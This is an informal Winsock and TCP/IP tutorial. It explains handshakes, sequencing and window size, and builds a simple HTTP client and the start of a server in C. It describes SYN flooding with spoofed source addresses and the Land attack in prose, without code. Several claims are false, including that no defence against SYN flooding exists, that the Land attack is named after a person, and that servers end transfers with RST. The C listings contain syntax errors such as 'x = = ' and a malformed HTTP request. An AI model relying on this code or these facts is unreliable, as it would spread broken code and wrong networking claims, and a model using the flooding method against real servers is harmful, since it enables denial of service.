Whenever a client is sending a ' Syn ' to the server, the server knows that someone wants to connect to him. It means the client who is trying to connect and is asking for permission to do so. The TCP IP stack has to send this client a ' Syn Ack '. For this purpose he needs to know a few things about the client like it's IP address, port number, Sequence number of the ' Syn ', etc. To store this information, the TCP IP stack has to allocate some memory. When the TCP IP stack sends the client a 'Syn Ack ', it blocks a connection for the client, and allocates some memory till he receives an ' Ack ' from the client. Until the server receives an ' Ack ' from the client, the connection is known as a ‘ half-open ’ connection. Allocating memory or resources is an expensive process. The more the memory that the TCP IP stack allocates for half-open connections, the lesser the memory it has for executing other programs. Earlier on, the TCP IP stack would allocate only enough memory, to store 8 half-open connections.When the TCP IP stack received an ' Ack ' it would declare the connection to be no longer a half-open connection but a live connection. In other words this is now an open connection.

Assume that a TCP IP stack can have 8 half open connections. Suppose all the 8 half-open connections are occupied. When a 9th ' Syn ' packet arrives, the TCP IP stack would not be able to accommodate it. And therefore this 9th ' Syn ' packet would be rejected. No one else would now be able to connect to that machine. Obviously the stack is not like us, the kind of people who patiently wait for hours at length for the next bus to arrive. If an ' Ack' from the client does not arrive within a specified period of time, the TCP IP stack terminates this half-open connection.

We could write a program, that will keep on sending a forty byte header with the ' Syn ' flag on. Thus, we would be sending only the ' Syn ' packets without sending any ' Ack ' packets. We would thus occupy all the eight half-open connections that were available on that TCP IP stack. We also know that the TCP IP stack sets a predefined timer after which it will terminate each of our half-open connections. Let's assume that we know that the timer is set to sixty seconds. Since we know that our half-open connection will be terminated after 60 seconds, will it not be possible for us to keep sending ' Syn ' packets every sixty seconds so that all the half-open connections are always occupied by our ' Syn ' packets. This method, used to prevent other clients from connecting to a server is known as ' Syn Flooding '.

Now some genius tried to design a method to prevent these syn floodings. He created a method known as the ' fire wall ', by which, he claimed that syn flooding could be prevented. This method works on a very simple principle. The TCP IP stack never checks the IP address of clients, while accepting or rejecting connections. Since it is possible for the TCP IP stack to know the address of every client connecting to it, you just check the client who keeps giving ' Syn's ' and not responding with the ' Ack '. The ‘ fire wall ’ is a computer which checks the IP addresses of incomming clients. The person who designed the fire wall, merely placed it in front of the TCP IP stack. The ' fire wall ' is then given the IP address of that client and whenever that client tries to connect to the server it would promptly drop the packet. But if the client keeps changing the Source IP address randomly - as the IP address can go upto 4 billion - the ' Syn Acks ' would go to the wrong machine. Thus by sending different and wrong IP addresses, one can easily bypass the fire wall. Hence, at present, there is no solution for ' Syn flooding ‘.

Land Attack..

The name though it sounds as if there is a war going on, but it is not so. Land attack is just a name given to a method designed by Mr. Land to give some more headache to the servers. He simply passes both the source and destination IP address, with the same address as that of the server. In this case the server is sending itself a ' Syn Ack '. When the poor guy tries to send a ' Ack ' to himself for a ' Syn ' which he has not sent, he invariably hangs.

Reliability..

Now the Internet Protocol in itself is unreliable. This is because there is nothing in IP which tells us whether the packet you have sent has reached or not. There is no mechanism in IP which will tell you whether the packet has reached the destination safely and in order. It does not mean that IP does not send the packets across correctly, it is just that there is no guarantee that the packet will reach. Let’s take the example of the Postal Service in India. Suppose you want to send a letter to Tiruvananthapuram by ordinary mail. Now it is not that the mail is always lost, the Postal Department does sometime deliver the letter but there is no guarantee that it will reach the place. It may reach Tiruvananthapuram but then again it may not reach on time. It is also possible that if you send two letters one after another, the second letter may reach first. There is no way in which the Postal Department will come back to you and say that the mail has not reached, or that it has reached late or that the second letter has reached first. So also is the case with the IP Protocol. There is no way by which it comes back and tells you that the packet you had sent has reached or not.

Because of this we can never be comfortable with only the IP protocols. If we want to make additions to the rules of the IP protocol in such a way that IP would come back and inform us whether the packet has reached or not, it will make the IP protocol very complex.

Now the IP protocol deals exclusively with the routers. It's IP's job is to make sure your packet goes from one end to the other in the shortest possible time. IP is the one who informs the router about the location of it's destination, it's source and other such details. The IP protocols primary concern is speed. It has to try and get to the destination as fast as possible and it cares about nothing else. The IP protocol has sacrificed reliability for speed and it shows. So why not allow it to do the job it knows best ? i.e. routing.

If the Internet was to rely exclusively on IP, the result would be absolutely chaotic. It was to combat this problem of unreliability, that the TCP protocol was established. The TCP protocol is the exact opposite of the IP protocol. It's primary concern is reliability. It is the TCP protocol that takes care of checksums and sequencing. To send a packet on the net it is possible that your packet may be broken into two or more packets - depending on the size of your packet. Now each packet may reach the destination port at different times and in different order. Is it not necessary that the packets are received in the order they are sent ? Otherwise the packet may reach the party in a haphazard manner, whereby the message transmitted is completely illogical and garbled. It is the job of the TCP Protocol to make sure that every packet reaches the destination and is put together in the correct order.

Sequencing...

Let us now see how we can send data across from a client to a server. When data is sent across to the server, the ‘ Sequence number ’ and ‘ Acknowledgement number ’ are very important. The client informs the server about it's ‘ Sequence number ’. This number has been generated randomly by the TCP IP stack. Our TCP IP stack will start numbering the data to be sent across to the server from this number. We can explain the concept of a ‘ Sequence number ’ and an ‘ Acknowledgement number ’ in a better manner with the help of the following example. Suppose we are sending the data which is shown below.

A B C D E F G H  I  J  K L
2 3 4 5 6 7 8 9 10 11 12 13

Let's assume that we have agreed with the server on the ‘ Sequence number ’ 2. Therefore, our data has been numbered from 2 onwards. Assume we are sending 3 bytes of data at a time along with the TCP IP header. Thus, the server will receive a packet of 43 bytes. In this packet, the number in the ‘ Acknowledgement field ’ has no meaning.

IP header

20 bytes

TCP header

20 bytes

ABC 3 bytes

The minute the server receives the packet he responds with an ' Ack '. This ' Ack ' is of 40 bytes and has it's ' Ack ' flag on. When the ' Ack ' flag is on it means that now the ‘ Acknowledgement field ’ is valid.

The server looks at the size of the packet and finds out that we have sent him three bytes of data. He knows that we have sent him data bytes A, B and C which are numbered as 2, 3 and 4. He will take the last byte number i.e. 4 and add 1 to it, to obtain the number 5. The server will place this number as the ‘ Acknowledgement number ’ in the ' Ack ' he sends us to inform us that he has received our packet.

When we receive the server’s ' Ack ', we look at his ‘ Acknowledgement number ’ which is 5. We now know that we have to start sending data from byte number 5 onwards. So we place 5 as the ‘ Sequence number ’ of the next packet we are going to send him. Along with this packet, we send three more bytes of data to the server. As our ‘ Sequence number ’ is now 5 the server will now receive D, E and F which are numbered as 5, 6 and 7, as it's next packet. The server will take the last byte number of this packet, i.e. 7 add 1 to it and respond with an ‘ Acknowledgement number ’ 8. On receiving this ' Ack ' packet sent by the server, we now know that we have to send data bytes from 8 onwards. If we do not receive an ' Ack ' for any packet we sent, we have to retransmit that packet after a certain amount of time.

It is a fact, that the server is wasting time by responding with forty bytes of ' Ack ' every time we send a packet of three bytes. Instead of the server sending us an ' Ack ' for every packet it received, it may decide to send us an ' Ack ' after receiving two packets. We are now sending the server two packets one after another, before it responds back with a ' Ack '. Looking at our above example, the server may send us an ' Ack ' with the Acknowledgement number 8 instead of 5 the first time. This means that the server has received the bytes numbered 2 to 7 and wants us to send him the next packet from the 8th byte onwards. This is to shows that ' Acks ' can be bunched together.

It is possible that when we send two packets one after another, the second packet may reach first. But, since our data has been sequentially numbered, the server will arrange our data in the correct order.

TCP is a decent protocol. It is not ill-behaved, unlike other protocols which we shall talk about later. The moment the client receives an ' Ack ' it means that the server has received a packet and responded with an ' Ack ' . We - the client - have to first calculate the total round time i.e. the time from the moment we send a packet to the time we receive an 'Ack' from the server. Suppose we send a packet to the server and we receive an ' Ack ', 1 second later. We now know that the transmission time, one way, is 1/2 a second. After we keep sending packets for 15 minutes, at intervals of 1 second, we may suddenly realise that the server is now responding with the ' Ack ' every 2 seconds. This shows that there is now congestion on the line. So if we receive an ' Ack ' late, we also would be sending our packets late.

Let's assume another case where we are sending a packet to the server. We can’t wait indefinitely for the server to respond with an ' Ack '. This may be due to the reason that our packet has not reached the server. It may also be due to the reason that the server may have sent an ' Ack ' but the ' Ack ' did not reach us.

Because of this we have to set a retransmission timer which will inform us that it is time to retransmit a packet. It is possible that we may set the retransmission time too high and we may receive the ' Acks ' at a faster rate. For example, suppose we set our retransmission time to be 5 seconds and the server responds with an ' Ack ' within 2 seconds. Then we are wasting 3 seconds needlessly. Hence we have to dynamically reset our timer to 2 seconds.

If we set the timer for a short retransmission time, it is possible that we may receive an ' Ack ' after we have retransmitted the packet. For example, if we set our retransmission time to 1 seconds and the server responds with an ' Ack ' after 2 seconds. Then we are retransmitting the first packet without waiting for a reasonable time for the ' Ack ' to reach us. Hence we have to reset our timer to 2 seconds. Even if the server received our duplicate packet it is intelligent enough to drop it.

If this was the way the TCP worked, then it would make the whole process of transmission too slow and be more of a liability than an asset to the network. Slow, because the server would have to wait for an ' Ack ' from the client every time it sent some packets. To guard against the slowness of the protocol there is something in TCP known as the window size - which incidentally we had said would be explain later. Well, the time has come when we feel that you should know what a window size means. So let’s now learn about the ' window size '.

Let us talk about a case where we are receiving data from a server. The server sets a limit to the number of bytes of data it can send us, without receiving an ' Ack ' from us. This maximum limit is known as the window size. It is not a constant figure, but may vary due to a number of factors like congestion, etc.

Suppose the window size of the packet comming to us from the server is specified as ‘ 4 , 0 ’. The server will keep sending us data upto, 4 * 256 + 0 * 1, i.e.1024 bytes before it demands we send it an ' Ack '. The sever knows that he can keeping sending us data, he will not send us the 1025th byte until we send him an ' Ack '. This increases the rate of flow of data.

Continuing with our client program..

Now don't you think that we have deviated from the main program for quite some time? Let’s go back to our main program and continue from where we had left off. 

#include <windows.h>
#include <stdio.h>
 
WSADATA ws;
int d;
char aa[1000]; 
struct sockaddr_in a;
SOCKET s;
int ii;
 
void abc(char *p)
{
        FILE *fp = fopen("c:\\b.txt","a+");
        fprintf(fp,"%s\n",p);
        fclose(fp);
}
 
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
 
               d = WSAStartup(0x101,&ws);
               sprintf(aa," WSASTARTUP = %d",d);
               abc(aa);
               s = socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa," SOCKET = %d",s);
               abc(aa);
               a.sin_family = AF_INET;
               a.sin_port = htons(80);
               a.sin_addr.s_addr = inet_addr("202.54.1.18");
               d = connect(s, (struct sockaddr *)&a, sizeof( a));
               strcpy(aa,"GET / \r\n");
               send(s,aa,sizeof(aa),0);
               ii = 1;
               while (ii != 0)
               {
                       ii = recv(s,aa,1000,0);
                       abc(aa);
               }
}

Now in this program we have added some extra lines of code. There are now three more functions included in the program. We do not have to explain to you what the function ' strcpy() ' means (Thank God) as it is ‘ C ‘ programming. It's the second and third functions which warrants explanation. The second function ' send() ' takes four parameters. The first parameter ' s ' has been defined as a global variable that looks like ' SOCKET '. Now ‘ s ’ know that we are using the TCP/IP protocols. It also knows the IP address as well as the port number of the server - we are trying to connect to. The second parameter is the array in which we have stored the name of the file we want to obtain from that server. Here ' GET / ' means that we are asking our browser to get a default file from the server. You have to understand that when we say " GET " , it is a request to the server which it - the server - recognises. The third parameter is the size of the array which we want to send. The last parameter is ' 0 '. We have got a rule which says that. any parameter to a function which is assigned the value as ' 0 ' is not meant to be explained so with reference to that rule this parameter will not be explained by us.

Let’s understand that whenever we send a request to a server on the Internet, we have to receive something from it. How do we go about receiving something from the server? This reception is possible through a function ' recv() '. This function is a blocking function. By blocking function, we mean that the function prevents the program from doing anything else, until the function has performed it's task completely. This function returns the number of bytes it has received from the server. This function ‘ recv() ’ has to be passed four parameters. The first parameter is the variable ' s ' which knows the IP address of the server etc. The second parameter is an array. The contents of our requested file are read into this array. The third parameter specifies the number of bytes, upto which it can receive data from the server. By this, we mean that if the server sends us 500 bytes, we can receive them. But the maximum number of bytes we can receive is 1000 only. By specifying this parameter as 1000, it does not mean that we are demanding that the server is to send us 1000 bytes only. There is no way we can make such a demand. By passing this parameter as 1000, we are merely saying that we can, at one time, receive not more than 1000 bytes. The last variable again is ' 0 ' and hence unexplained.

In this program, if we had just written the ' recv() ' function as it is, what will it do if the file to be received from the server is larger than 1000 bytes ? We would only get the first 1000 bytes copied in our " b.txt " file. Now to ensure that we get the entire file, we have to put the ‘recv()’ function into a ‘ while ’ loop, to read the entire text and store it into the file "b.txt". Now how do we get out of the ‘ while ‘ loop? This is a problem which is solved for us by the server. When the server has finished sending the file, he sends this function a reset. When he sends this reset, one of the flags gets activated. This flag is known as the ‘ RST ’ flag. So when our TCP IP stack receives a packet of forty bytes with the RST flag ‘ on ‘, it will make sure that the recv() function returns a 0, thus coming out of the while loop.

Now run the program and take a look at our "b.txt" file. It would now look as below.

WSASTARTUP = 0
SOCKET = 3

What is this? There is no change in the output in the " b.txt " file present in our root directory. What is the use of these lines of code and the explanations given by us, if our Browser cannot get us a default file from the server we connected to? Well this is a good question. But then we got a bit excited as we were nearing the completion of our Browser that we executed the program without writing the HTTP part of the header to be sent along with the " GET / " request to the server. So let’s include this HTTP header in our program which will now look as under.

 #include <windows.h>
#include <stdio.h>
 
WSADATA ws;
int d;
char aa[1000]; 
struct sockaddr_in a;
SOCKET s;
int ii;
 
void abc(char *p)
{
        FILE *fp = fopen("c:\\b.txt","a+");
        fprintf(fp,"%s\n",p);
        fclose(fp);
}
 
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
 
               d = WSAStartup(0x101,&ws);
               sprintf(aa," WSASTARTUP = %d",d);
               abc(aa);
               s = socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa," SOCKET = %d",s);
               abc(aa);
               a.sin_family = AF_INET;
               a.sin_port = htons(80);
               a.sin_addr.s_addr = inet_addr("202.54.1.18");
               d = connect(s, (struct sockaddr *)&a, sizeof( a));
               strcpy(aa,"GET / \r\n");
               strcat(aa,"HTTP 1.0 \r\n\r\n");
               send(s,aa,sizeof(aa),0);
               ii = 1;
               while (ii != 0)
               {
                       ii = recv(s,aa,1000,0);
                       abc(aa);
               }
}

Let’s understand how we can send a request to a server for an HTTP file. We request an HTTP file by sending "GET /" and "HTTP 1.0 \r\n\r\n" as part of our HTTP header. Whenever we send the HTTP header, we also have to specify the version number of HTTP which we have specified as ' 1.0 '. For your information, there is a previous version ‘ 0.9 ’ and a newer version ‘ 1.1 ’. This is the bare minimum requirement of the header which can be understood and accepted by the server. You may be wondering what these ' \r\n\r\n ' mean? Well don't you have to tell the server that you have completed the transmission and that no more bytes are going to be transmitted as part of the header ? The '\r\n\r\n' does this very thing i.e. tell the server that the transmission is complete. Why do we have to specify ' \r\n ' twice ? The first ' \r\n ' is to tell the server that the command line is over, while the second ' \r\n ' is to tell the server that the header is now complete. When you run this beautiful program which we wrote, you will see that it has stretched it's arm wide across the Internet and fetched us the default file from the server we connected to. We can now read the contents of that file in the " b.txt" file.

How do we know that the file we have received is an HTTP file? We know that it is an HTTP file for the simple reason that we have connected to port 80, which is an HTTP port. We are also sending "GET /" as the header. All these make up a protocol. This protocol is known as the Hyper Text Transfer Protocol.

If you know the name of the file you want, just specify it's name in the request part of the header i.e. " GET /(filename) " and this will get you that particular file from the server. It is only when we do not know the name of the file we say ‘ GET / ’. This will get us the default file. The problem with servers is that though they all have a default file, they could not decide on the name to be used for the default file. One of the server may call it's default file as "index.html" while another server may call it as "default.html". Now when we are connecting to a server, we do not know the name of it's default file. Hence we have to say ‘ GET / ’. We cannot write only ‘GET ’, otherwise, it will give us an error.

When we use the Netscape Navigator to connect to Microsoft’s site, we write "www.microsoft.com". All that Netscape does, is convert this name into an IP address. It now uses the same code that we used, to connect to this server. There is no other way it can connect. After it connects to the server, it sends a ‘ GET / ’ request. The Microsoft server responds by sending it’s default HTTP file. Netscape then reads this HTML file, and if it sees a tag which say <b>, it makes that particular text bold. When Netscape sees a tag called ‘ img ‘, it knows that after the ‘ img ’ there is always an ‘ src ‘. Let's suppose this ‘ src ‘ will specifies the name of the "gif" file as "a1.gif". The Netscape Browser then makes a fresh connection to Microsoft and gets this "a1.gif " file. This means that other than this minor difference, Netscape is nothing but a Desk Top Publisher which gives your browser a colourful user-interface. That is the reason we do not think of Netscape as an Internet company. According to us, an Internet company is a company which knows Internet technologies. Otherwise, as we have written the code for getting a file from the server, we could also call ourselves an Internet company.

Well how do you like our Browser ? Don't you find it fascinating ? This browser also helps you to download from any site which your parents forbid you to visit. The best thing about this browser is that it stores the contents in " b.txt " file only. So, whenever you want to view this file you can view it, and whenever you are tired from viewing it you can delete this file and your parents are none the wiser to your shenanigans.

" HTTP SERVER "

Now that you’ve got a taste of Winsock programming with the creation of your own Internet Browser, we can bet that you are licking your lips in anticipation of more challenging things to come. Our work is obviously not complete with just helping you create a Browser. We decided that the next step will be to help you create a server. Can you imagine a server, on the Internet, and it being our very own ? We know that it is a bit more intriguing and difficult to understand as compared to the Browser, but we know that you will be able to understand the concept better if you follow our instructions - to a T -and follow our programs carefully and meticulously, without any fuss or skipping any programs. Well what are you waiting for ? Jump in head first and learn how to create your own server on the Internet.

Our initial programs will not differ much from the client program in respect of the starting code. In fact in many places you will find that the code is more or less similar to what we used while creating our Browser. So let’s plunge into the creation of our server.

Learning ' C ' Windows Programming..

 For our first program we shall go back to our basics and refresh our memories on how to write the smallest ' C ' Windows Program (bet you forgot how to write this program).

#include <windows.h>
 
WNDCLASS a;
MSG c;         
HWND b;
long _stdcall zzz();
 
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
        a.hInstance = i;
        a.lpszClassName = "Hi";
        a.lpfnWndProc = zzz;
        a.hbrBackground = GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
        ShowWindow(b,3);
        while(GetMessage(&c,0,0,0))
               DispatchMessage(&c);
}
 
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
        if (x = = WM_LBUTTONDOWN)
        {
               MessageBox(0,"Hi","Hi",0);
        }
 
        if (x= = WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
        
}

Well friends, let me tell you from experience that this is the most difficult part of the server program, and we shall not guide you through the entire process of creating the window. Now, does this not help bring back memories of sleepless nights and some terrible nightmares you had to endure before you finally succeeded in creating the window. Now don't expect us to tell you that the output of the above program is a MessageBox with the message "Hi" displayed in it, the moment you click on the window.

This was our first step towards the creation of our server. You know that we had included the "wsock32.lib" file while creating the Browser. In this program also, the file "wsock32.lib" is supposed to be included in your project workspace before you try to proceed further with the program. With this bit of information as a reminder, let us proceed with adding a few new lines of code to our program.

#include <windows.h>
#include <stdio.h>
 
WSADATA ws;
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
int d;
char aa[1000]; 
SOCKET s;
struct sockaddr_in A;
 
void abc(char *p)
{
        FILE *fp = fopen("c:\\bbb.txt","a+");
        fprintf(fp,"%s\n",p);
        fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
        a.hInstance = i;
        a.lpszClassName = "Hi";
        a.lpfnWndProc = zzz;
        a.hbrBackground = GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
        ShowWindow(b,3);
        while(GetMessage(&c,0,0,0))
               DispatchMessage(&c);
}
 
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
        if (x = = WM_LBUTTONDOWN)
        {
               d = WSAStartup(0x101,&ws);
               sprintf(aa,"%d",d);
               abc(aa);
               s = socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa,"%d",s);
               abc(aa);
               A.sin_family=AF_INET;
               A.sin_port=htons(80);
               A.sin_addr.s_addr= INADDR_ANY;
               MessageBox(0,"Hi","Hi",0);
        }
 
        if (x= = WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}

What do you infer when you see this program? You may be wondering about the similarity with the code of the Browser. Well, we had warned you that the initial programs would be similar to that of a Browser. You know what these lines of code represent. They are the same as in the case of the Browser. For those of you who missed all the fun we had, while creating the Browser, we are giving a brief explanation as to what these lines of code mean. The rest of you are free to move on to the next program directly skipping this re-explanation.

Now like any good Winsock program, our program also has to include the file "wsock32.lib". If we do not include this file, the linker will get very upset and extract revenge by giving us umpteen number of errors. This is due to the reason that the code of ‘ WSAStartup() ’ function is present in this library file, i.e "wsock32.lib". So do what you want to do, but for heavens sake include this file in your workspace. Now what does the ‘ WSAStartup() ’ function do ? To tell you the truth even we - the acknowledged masters of Winsock Programming ( by ourselves, of course, and now by you ) - do not know what it actually does. Just take our word and add this function as part of your programming code, because we know for a fact, that nothing else in the program will work if this function is not present. This function has to be passed two parameters. The first being a version number - the Windows sockets version number - which in our case is 1.1. The second parameter is the address of a structure which we have created, and which looks like WSADATA - what it does with the address of the structure is anybody's guess.

Now to explain the other function viz. ‘ socket() ’. This function is passed three parameters viz. ' AF_INET ' & ' SOCK_STREAM ' and ‘ 0 ‘. The first two parameters are hash(#) defined in the header file <winsock.h>. There is no use trying to explain the third parameter ‘ 0 ’ as we think that it will take ages for you to understand and in all probability, we know that you will not understand. If you got jumbled up with the above explanation of the parameter ‘ 0 ‘, it's not our fault. So let's forgive and forget. Forgive us for not explaining it and forget this explanation(but pass the parameter as part of syntax). The other three lines of code are mere initialisation of some of the members of our structure ‘ A ’ that looks like ‘ sockaddr_in ‘. For starters we are initialising a member ‘ A.sin_family ‘ to the IP protocol ‘ AF_INET ‘, secondly we are initialising ‘ A.sin_port ‘ to the port number we want our server to listen on, i.e. the HTTP port ‘80 ‘. We are passing the port number in a function ‘ htons() ’ - as it's parameter - which converts " Little Endian’s " to " Big Endian ". Lastly, we are initialising the member ‘ A.sin_addr.s_addr ‘ to a Macro viz. ‘ INADDR_ANY ‘. Now this Macro is used so that, a client, having any IP address, and wanting to connect on to our server - God alone knows why - should be allowed to do so.

You have to understand, that when you execute the program, the server will not get activated all by himself. You have to first activate the server by clicking on the window with the left mouse button. Now when you execute the program you will see an output in file "bbb.txt" which appears as shown below.

 

WSASTARTUP = 0
SOCKET = 3

 

So far so good. To those of you who understood the steps involved in the creation of the Browser, these explanations must have been boring, and by now many of you may have even started yawning. Well friends, Wakey! Wakey! We are now starting to make life a bit more complicated.

New lines of code have been added as shown in the program written below.

#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;         
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s;
struct sockaddr_in A;
 
void abc(char *p)
{
        FILE *fp=fopen("c:\\bbb.txt","a+");
        fprintf(fp,"%s",p);
        fclose(fp);
}
 
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
        a.hInstance = i;
        a.lpszClassName = "Hi";
        a.lpfnWndProc = zzz;
        a.hbrBackground = GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b= CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
        ShowWindow(b,3);
        while(GetMessage(&c,0,0,0))
               DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
        if(x = = WM_LBUTTONDOWN)
        {
               d = WSAStartup(0x101,&ws);
               sprintf(aa,"WSASTARTUP = %ld\n",d);
               abc(aa);
               s = socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa,"SOCKET = %ld\n",s);
               abc(aa);
               A.sin_family = AF_INET;
               A.sin_port = htons(80);
               A.sin_addr.s_addr = INADDR_ANY;
               d = bind(s,(struct sockaddr*)&A,sizeof(A));           
               sprintf(aa,"BIND = %ld\n",d);
               abc(aa);
               MessageBox(0,"first Message","first Box",0);
        }
        if (x = = WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}

In this program we have passed a new function ‘ bind() ‘. The function ‘ bind() ’ is passed three parameters. The first parameter is the variable ‘ s ’ which knows the protocols used by the server. The second parameter is the address of the structure ‘ A ’ which looks like ‘ sockaddr_in ’. Unfortunately, this function requires the address of a structure which looks like ‘sockaddr’. Now we don’t want to argue with syntax, so we dutifully cast this structure to look like ‘sockaddr’. The last parameter is the size of the structure ‘A’ which looks like ‘ sockaddr_in’. After this function gets executed the variable ‘s’ would not only know the protocol used by the server, but also it's IP address and the port number. You may have noticed that the parameters of this function are similar to that of the ‘connect() ’ function of the Browser. The function ‘ bind() ’, is used to tie up the socket - along with the server - to a port. This port has been specified as 80 i.e. the HTTP port., in our program. This means that this function ‘ bind() ’, tells the TCP/IP stack that whenever it receives a packet with the ' Syn' flag ‘ on ’, with the port number as 80 and any IP address, then the packet should be directed to our server, i.e. the HTTP server. So now, whenever any client wants to contact a server with our IP address for any file, he will get directed to our HTTP server. Using this function we are not asking the TCP/IP stack to send the packet to us right now. We are merely saying that if it receives a packet for our server, it is to be sent to us. The part where we specify as to when the packet is to be sent to us, is explained later.

Let's not get jumbled up with the output in the "bbb.txt" file. First delete the existing file and then execute the program. In future also, delete the existing "bbb.txt" file before executing the program.

If you can successfully pester a friend to connect to your server, you will be able to see the output of your program so far, saved in the "bbb.txt" file. Let’s now take a look at the output in our "bbb.txt" file. The output is as below.

WSASTARTUP = 0
SOCKET = 3
BIND = 0

Now let’s continue with our code.

#include <windows.h>
#include <stdio.h>
 
WNDCLASS a;
MSG c;         
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s;
struct sockaddr_in A;
 
void abc(char *p)
{
        FILE *fp=fopen("c:\\bbb.txt","a+");
        fprintf(fp,"%s",p);
        fclose(fp);
}
 
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
        a.hInstance = i;
        a.lpszClassName = "Hi";
        a.lpfnWndProc = zzz;
        a.hbrBackground = GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
        ShowWindow(b,3);
        while(GetMessage(&c,0,0,0))
               DispatchMessage(&c);
}
 
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
        if(x= =WM_LBUTTONDOWN)
        {
               d=WSAStartup(0x101,&ws);
               sprintf(aa,"WSASTARTUP = %ld\n",d);
               abc(aa);
               s=socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa,"SOCKET = %ld\n",s);
               abc(aa);
               A.sin_family=AF_INET;
               A.sin_port=htons(80);
               A.sin_addr.s_addr= INADDR_ANY;
               d=bind(s,(struct sockaddr*)&A,sizeof(A));             
               sprintf(aa,"BIND = %ld\n",d);
               abc(aa);
               WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
               MessageBox(0,"first Message","first Box",0);
        }
        if (x= = WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}

Wow ! Talk about long words. Here we have a very loooong function name viz. ‘ WSAAsyncSelect() ’. Impressive to say the least. Why do we need such a long function name and what does this long function do? Well , we did not design ‘ Sockets Programming ’ and we did not give this function it's name. Hence we are unable to explain the concept behind giving this function so big a name. Let's move on to the " what " part of the question. What does this function do? Well, human beings are highly unpredictable. There is no saying when they may get the urge to connect to our server. So whenever a client connects to our server, we should be present to receive his connection. We should not use the function ‘ recv() ’ here, because we know that ‘ recv() ’ function is blocking. The program is not allowed to perform any other task until the execution of the ‘ recv() ’ function is over. So we use this function i.e. ‘ WSAAsyncSelect() ’ along with ‘ recv() ’, as this function ensures that we use the function ‘ recv() ’ only when there is data to be received by the server from the client. This function first looks at the last parameter FD_ACCEPT. Once it sees this Macro, it merely tells the TCP/IP stack that whenever it receives a packet with the ' Syn ' flag on, for our window(server) at it's port number, it should send a message immediately to our server. If this parameter FD_ACCEPT is not present in the code, then the TCP/IP stack will reject the incoming connection outright.

This function ‘ WSAAsyncSelect() ’ is an extra function added into the Windows version of ‘ Socket Programming ’. There is no such function in the original version of ‘ Sockets Programming ’. This was because ‘ Sockets Programming ’ was originally written under UNIX. In the UNIX Operating System, there is a way, by means of which the application could be given a signal, that there was some data waiting for it. Windows is a different Operating System. Windows has a Graphical Interface. When we have to communicate with our server, the communication has to be done through our window. For this, the TCP/IP stack needs to know our window number. In the original version of ‘ Sockets Programming ’ under UNIX, there was no function by means of which, we could let the TCP/IP stack know our window number. Because of this reason Microsoft was forced to add this function to it's version of ‘ Sockets Programming ’.

You may start wondering how the TCP IP stack would come to know the IP address , port number, etc. of our server or how the stack would know which window is to be sent the message. Let's see how we can pass on this information to the TCP IP stack.

This function ‘ WSAAsyncSelect() ‘, is passed four parameters. The first parameter is ‘ s ’ which knows the protocol that the server is using, it's port number, IP address, etc. The second parameter is our window number. You will most probably wonder as to why should we specify our window number as a parameter? Well, Windows TCP IP stack is dumb. It does not know who we are. Can you imagine that? Hence we are forced to introduce ourselves by specifying our window number. If we had not specified it, it would have given us a linker error, asking us who we are. To avoid embarrassment all around, we just specify our window number and forget about it. The third parameter is a Macro. We know that whenever our window wants to pass some information - as a server, he can do so through a Macro. The third parameter of ‘ WSAAsyncSelect() ’ is a Macro. This Macro is important enough to warrant an explanation. In Windows there are a predefined set of Macros, which Microsoft has reserved for it's own window messages, for example, the Macro WM_LBUTTONDOWN. Each of these reserved Macros have been allotted their own specific numbers by Microsoft and they let the window know which message is to be called. The last of such numbers which are reserved by Microsoft for it's window messages is one less than ‘ WM_USER ’. We could have passed WM_LBUTTONDOWN as the third parameter to the ‘ WSAAsyncSelect() ’ function, and the window application would have recognised it. But then, we would have faced a problem. How would our window(server) application know which message is to be called i.e. the message we have specified in our program or one which has been specifically allotted to WM_LBUTTONDOWN by Microsoft Windows? Because of this problem, we cannot use any of the reserved numbers or Macros. We are forced to choose a Macro which is a number greater than the reserved ones. Since we know that Microsoft has reserved numbers upto the Macro ‘ WM_USER ‘, we can choose any number from ‘ WM_USER ‘ onwards. We opted for the number ‘ WM_USER+1 ’. Now our window(server) will recognise this Macro. It means that whenever the server is to be contacted, then our callback function ‘ zzz() ‘ is sent a ‘ WM_USER+1 ‘ message. The last parameter of the function ‘ WSAAsyncSelect() ’ is ‘ FD_ACCEPT | FD_READ ‘. This parameter is used to ask the server whether he wants to ‘ accept ‘the incomming connection or ‘ read ‘ the message from this connection. ‘ FD_ACCEPT ’ 